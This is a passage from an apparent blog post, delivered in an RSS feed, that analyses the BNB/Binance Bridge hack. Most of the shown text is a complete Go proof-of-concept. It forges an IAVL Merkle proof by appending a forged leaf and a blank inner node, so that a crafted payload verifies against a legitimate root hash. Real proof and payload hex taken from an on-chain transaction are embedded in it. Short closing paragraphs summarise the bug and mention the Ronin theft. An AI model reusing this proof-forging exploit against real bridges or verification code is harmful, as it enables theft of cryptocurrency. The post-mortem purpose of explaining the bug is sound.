&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--u6d5z_vG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b8q3i4ja5dnzzff24baq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--u6d5z_vG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b8q3i4ja5dnzzff24baq.png" alt="Image" width="720" height="207"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mXSci2tl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lfpcq0tc0dqkaydiln4j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mXSci2tl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lfpcq0tc0dqkaydiln4j.png" alt="Image" width="720" height="52"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All that’s left is to put it all together. We’ll take a legitimate proof and modify it so that:&lt;/p&gt;

&lt;p&gt;1) we add a new leaf for our forged payload&lt;/p&gt;

&lt;p&gt;2) we add a blank inner node to satisfy the prover&lt;/p&gt;

&lt;p&gt;3) we tweak our leaf to exit early with the correct root hash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import "fmt"
import "encoding/hex"
import "github.com/tendermint/tendermint/crypto/merkle"
import "github.com/tendermint/iavl"
import "github.com/tendermint/tendermint/crypto/tmhash"
import "strings"

func mustDecode(str string) []byte {
    if strings.HasPrefix(str, "0x") {
        str = str[2:]
    }
    b, err := hex.DecodeString(str)
    if err != nil {
        panic(err)
    }
    return b
}

func getValueOp(legitProofBytes []byte) iavl.IAVLValueOp {
    var legitProof merkle.Proof
    if err := legitProof.Unmarshal(legitProofBytes); err != nil {
        panic(err)
    }

    legitValueOpIntf, err := iavl.IAVLValueOpDecoder(legitProof.Ops[0])
    if err != nil {
        panic(err)
    }

    return legitValueOpIntf.(iavl.IAVLValueOp)
}

func main() {
    // https://bscscan.com/tx/0xe93f7c385e2510007f0b9319f001fed0fc1d718604fbab5c8afaa55fe0bfb624
    legitPayloadBytes := mustDecode("0x00000000000000000000000000000000000000000000000000000e35fa931a0000f86ea0424e42000000000000000000000000000000000000000000000000000000000094000000000000000000000000000000000000000088018fb570626fa400942218ffe5fd6215aefb988c5130b109047ef903cc943cf604378ded77537f02ed2d082a609a0235864b84633f540c")
    legitProofBytes := mustDecode("0x0af8090a066961766c3a76120e00000100380200000000010dda4d1add09db090ad8090a2f081910978cb90818a6b892810122206a972442231cdcbd083f53f5b6e7d1364d01a7c3e39481a393663421d9d91e730a2f081810c5cdba0518a6b89281012220015e9258171954de124eadca473471c85a218d1b4f30ab6046123df79b143e100a2f081710c58dbb0218a6b89281012220653ec3905c6eea07cd6122664c235a5bbee741796e9beb0090b651f1881aa6af0a2e081610c58d7c18a6b8928101222010da239ec014e3708bb63394a6ac659bf0a5775e01fb061ba47489f5a70a1e590a2e081510c58d4c18a6b8928101222016d590ab6e451029d6e0fe2e414519bad0722c7960915b09709a8d79489e689f0a2e081410c58d1c18a6b892810122206e5d42435b893a6ef3d2c3226dc3d8fc6298b50765c14401717cce9d4779b1740a2e081310c58d1018a6b89281012220a66c4e211073542bdfbe41b7ffb3c97233e1328e08307585572572e2086a70660a2e081210c58d0a18a6b89281012220bbea65146adcbf69db8aa5d40ea78b2881bbe49a1550a7848a2a15c0bd8c72a10a2e081110c58d0418a6b89281012a20b209c6eae3c638eedee790ba4ac4ba1a28e6ee9e508c312890faf68203f6c8f40a2e081010cfb60218a6b892810122205ea9f3914db297bb2a2167c73b48d65ef750412881a41b26431b505e1b0807120a2e080f10cfb60118a6b892810122206edc69967bdccfa5341c641bd114685664731b6fbc1eb5ae0255e5668050ae1c0a2d080e10cf7618a6b89281012220245256c699761062ee26233725281d53bff60d087e638efb01d7cfc2ccc042f20a2d080d10cf3618a6b8928101222022ed28f7b77e2939b6de5947f76be014455ca91bb158fbeee88c8f6428b285120a2d080c10cf1618a6b8928101222092ead60656d3de32a46b5103aa914b786576f7be80c82dc769e2246dfe3b43ff0a2d080b10cf0e18a6b892810122200de250a575819ad357b89726d95ff6337f644ad81972f16d21171ad50c4621060a2d080a10cf0618a6b89281012220e170c2cf4413e475fdeff411c28e5cbfa50e6c642eaa5b95cad752e53ac2f89d0a2d080910cf0218a6b8928101222016622f912b4b40e830cfddbca2aacdcb03f29e012aa0841b09598247d0fe7fd30a2d080810cf0118a6b8928101222031aa9188c3bf0870796542b3291cf9c0b4264cb05a7206844cec6eab3ed4485d0a2c0807104f18a6b8928101222068c7d5d1a61de64b294a73c830779d3d140cd6d1812efd36b01f3616a210da7c0a2c0806102f18a6b892810122201bfed012d1294aedcdd46d4519d41e8b7903aec21fb50276d68df1c0f1eeaa810a2c0805101f18a6b892810122208b5140b3f84965769728c21dad7765685f15fbea97addd4a18e0e19fbfa812dc0a2c0804100f18a6b892810122206212ddc1731eb3c7275c22028461ca618adb69ca958b970ba70a69efcaf746f00a2c0803100718a6b8928101222027d509ed505ba5189c02e09a8cebbd8da88b0f9fb80bd493303e956396d5fa7d0a2c0802100318a6b892810122204ee30871caf373210ae36efc699cb4dd1c1517c5715f1f771cbcc3e1763cbb760a2c0801100218a6b8928101222086053a337c6c00c08b0150f4b04c25d46a545bfca4ffd23bcb9f4bab5620a9c41a380a0e00000100380200000000010dda4d1220c9702dc684f40f649086354efd81036405d65bd7973b33a49bd094ada8bea34118a6b89281010ac2060a0a6d756c746973746f726512036962631aae06ac060aa9060a0f0a0376616c12080a0608a9b89281010a100a046d61696e12080a0608a9b89281010a310a03616363122a0a2808a9b89281011220bebbffe66b498475751018685043f7f8af3748c11b474ae4bab1ed6f872a6afc0a390a0b61746f6d69635f73776170122a0a2808a9b89281011220c3c3e14f9855a19fbb7787ec7334e7d1e89515bc968bbd95a3c0757b73a0f8910a340a06706172616d73122a0a2808a9b8928101122023c2f8353abab04889611cf1df2db289c433739a0b862982eb101d6bceddf8f40a340a06746f6b656e73122a0a2808a9b892810112206c729e5786bc7e711151be2c8fae1da0e046dffdf63019c1b2cab9c393e005c70a180a0c7374616b655f72657761726412080a0608a9b89281010a340a06627269646765122a0a2808a9b892810112201696f48f0831247582113e127d54c8dfd5a83ce7d59f87b5dbc43d3289287f000a330a057374616b65122a0a2808a9b89281011220e125aa32d98388b262476bcb57bc67e5a561694c4b4ab7cdc276592a4c8102520a310a03696263122a0a2808a9b89281011220a430a90e5901412e8883d71166115a54bf31165d4300ca128d891f32bad715890a310a03646578122a0a2808a9b89281011220a83f009853645e8b594bdccff32ceaf235d7c17b0e3a9bfda9d24fb4b9e768da0a300a027363122a0a2808a9b89281011220e4adc46ac3861ca6ee345294c621d2bc048079dab94ee30333c4585e2cbe30890a370a0974696d655f6c6f636b122a0a2808a9b89281011220d73dee2cd461a123714cce39fa8f820706fa270dc290257d6295dd8c29a870500a310a03676f76122a0a2808a9b89281011220bc32151659d2d697d4258aacb0c2e7a5c6b3d3dda375c6c634fd58d61dedf4c00a360a08736c617368696e67122a0a2808a9b89281011220399a04243f1a0ad8f1b0487eb19aefe91a357446154ea2c59bee1143d4c17bbe0a340a066f7261636c65122a0a2808a9b89281011220bbabfac717aea0c30b0bc13da73e1a501450cdf5cd4a0b9feeb35b4b7c10242e0a330a057061697273122a0a2808a9b8928101122065a9c4ae2bba63d233c7fc28d81151880b0a4533df8cbed77660356ae0aa7c5b")

    forgedPayloadBytes := mustDecode("0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")
    forgedValueHash := tmhash.Sum(forgedPayloadBytes)

    legitValueOp := getValueOp(legitProofBytes)
    forgedValueOp := getValueOp(legitProofBytes)

    // we do a little forging
    forgedLeafNode := getValueOp(legitProofBytes).Proof.Leaves[0]
    forgedLeafNode.Key = append([]byte(nil), []byte(forgedValueOp.GetKey())...)
    forgedLeafNode.Key[13] = 255
    forgedLeafNode.ValueHash = forgedValueHash
    forgedValueOp.Proof.Leaves = append(forgedValueOp.Proof.Leaves, forgedLeafNode)
    forgedValueOp.Proof.InnerNodes = append(forgedValueOp.Proof.InnerNodes, iavl.PathToLeaf{})
    forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath) - 1].Right = mustDecode("A038FCFB3DD5C419DF679CE76FDAB39D21149069D037C39034CEF55AFDB9631B")

    rootHash := legitValueOp.Proof.ComputeRootHash()
    verifyErr := legitValueOp.Proof.Verify(rootHash)
    fmt.Printf("legitOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)

    rootHash = forgedValueOp.Proof.ComputeRootHash()
    verifyErr = forgedValueOp.Proof.Verify(rootHash)
    fmt.Printf("forgedOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)

    {
        verifyErr = legitValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
        fmt.Printf("legit verifyErr=%v\n", verifyErr)
        verifyErr = legitValueOp.Proof.VerifyItem(forgedLeafNode.Key, forged

PayloadBytes)
        fmt.Printf("forged verifyErr=%v\n", verifyErr)
    }

    {
        verifyErr = forgedValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
        fmt.Printf("legit verifyErr=%v\n", verifyErr)
        verifyErr = forgedValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes)
        fmt.Printf("forged verifyErr=%v\n", verifyErr)
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(It’s worth noting that this wasn’t the exact method the attacker used. Their proof path is much shorter, and I’m not sure how exactly they generated that. However, the rest of the exploit is identical, and I believe showing how to build it from the ground up is valuable)&lt;/p&gt;

&lt;p&gt;In summary, there was a bug in the way that the Binance Bridge verified proofs which could have allowed attackers to forge arbitrary messages. Fortunately, the attacker here only forged two messages, but the damage could have been far worse.&lt;/p&gt;

&lt;p&gt;In order to prevent future hacks, BNB Chain, which Binance describes as a “community-driven, open-sourced and decentralized ecosystem,” said it will add a new “governance mechanism” and increase the number of validators.&lt;/p&gt;

&lt;p&gt;In one of the greatest cryptocurrency heists ever, hackers stole over $615 million from a blockchain bridge called Ronin Bridge in March. The United States has attributed North Korean hackers to the theft, which was one of the largest ever.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>blockchain</category>
      <category>crypto</category>
      <category>defi</category>
    </item>
  </channel>
</rss>
